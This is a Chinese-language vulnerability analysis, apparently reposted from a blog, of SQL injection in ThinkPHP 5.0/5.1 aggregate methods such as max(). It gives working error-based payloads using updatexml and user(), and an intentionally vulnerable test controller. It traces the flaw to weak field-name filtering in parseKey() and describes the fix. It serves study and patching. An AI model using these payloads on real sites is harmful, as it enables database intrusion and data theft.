简介
Mysql 聚合函数相关方法均存在注入
本次漏洞存在于所有 Mysql 聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。
漏洞影响版本: 5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25 。
Payload IN :5.0.0~5.0.21 、 5.1.3~5.1.10
id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
Payload IN :5.1.11~5.1.25
id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
环境搭建
composer下载源码:
composer create-project --prefer-dist topthink/think=5.1.25 thinkphp_5.1.25
配置 application/index/controller/Index.php为以下代码:
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$options = request()->get('options');
$result = db('users')->max($options);
var_dump($result);
}
}
配置composer.json:
在config/database.php下配置数据库
在config/app.php开启调试
然后去GitHub上下载thinkphp目录并将其代替我们composer下载的thinkphp目录,下载地址:
https://github.com/top-think/framework/archive/refs/tags/v5.1.25.zip
分析
正常地传入id,即MAX(`id`)了,看到确实会返回正确的值:
尝试闭合一下MAX(`id`),加一个反引号、一个括号、一个报错语句、一个注释符,发现我们的请求没有被拦截而直接成功触发SQL注入了:
payload
?options=id`) and updatexml(1,concat(0x7e,user(),0x7e),1)from users%23
分析一下其中的原因:
前面的不讲了,直接看max()方法,会调用aggregate()方法
Connection类下的aggregate()方法:先经过了一个拼接,然后会进入value()方法
经过一个拼接得到的$field=
MAX(`id`) and updatexml(1,concat(0x7e,user(),0x7e),1)from users#`) AS tp_max
然后看value(),其中最重要的就是生成SQL语句处:
Builder类下的select方法:重点看对字段的处理,也就是重点看$this->parseField($query, $options['field']),
这个parseField方法主要执行下面这些代码:
protected function parseField(Query $query, $fields)
{
.......
foreach ($fields as $key => $field) {
else {
$array[] = $this->parseKey($query, $field);
}
}
......
$fieldsStr = implode(',', $array);
return $fieldsStr;
将$field
数组的值逐个传入parseKey中检查,然后再往$array
中添加值,$array
数组以逗号合并起来,得到$fieldStr
上述的parsekey方法来自Mysql类下的parsekey方法,会对字段名进行检查,其中有一处不满足正则就加反引号的代码,不过这对我们的上面$fields数组中的值没有影响,因为都不满足那个正则
所以最终$fieldsStr
的值为
MAX(`id`) and updatexml(1,concat(0x7e,user(),0x7e),1)from users#`) AS tp_max
从而得到SQL语句:
SELECT MAX(`id`) and updatexml(1,concat(0x7e,user(),0x7e),1)from users#`) AS tp_max FROM `users` LIMIT 1
到这儿就大致完成了,可以看见SQL语句就是我们想要的
可以看到关键是Mysql类下对字段名检查的parseKey()方法 没有严格过滤导致我们的语句能组成起来
七月火师傅的攻击流程图
修复
在Mysql类parseKey()方法中,添加一段过滤代码,不允许出现除了 字母、点号、星号 以外的字符时,否则就抛出异常。
转载:https://blog.csdn.net/weixin_45669205/article/details/116566732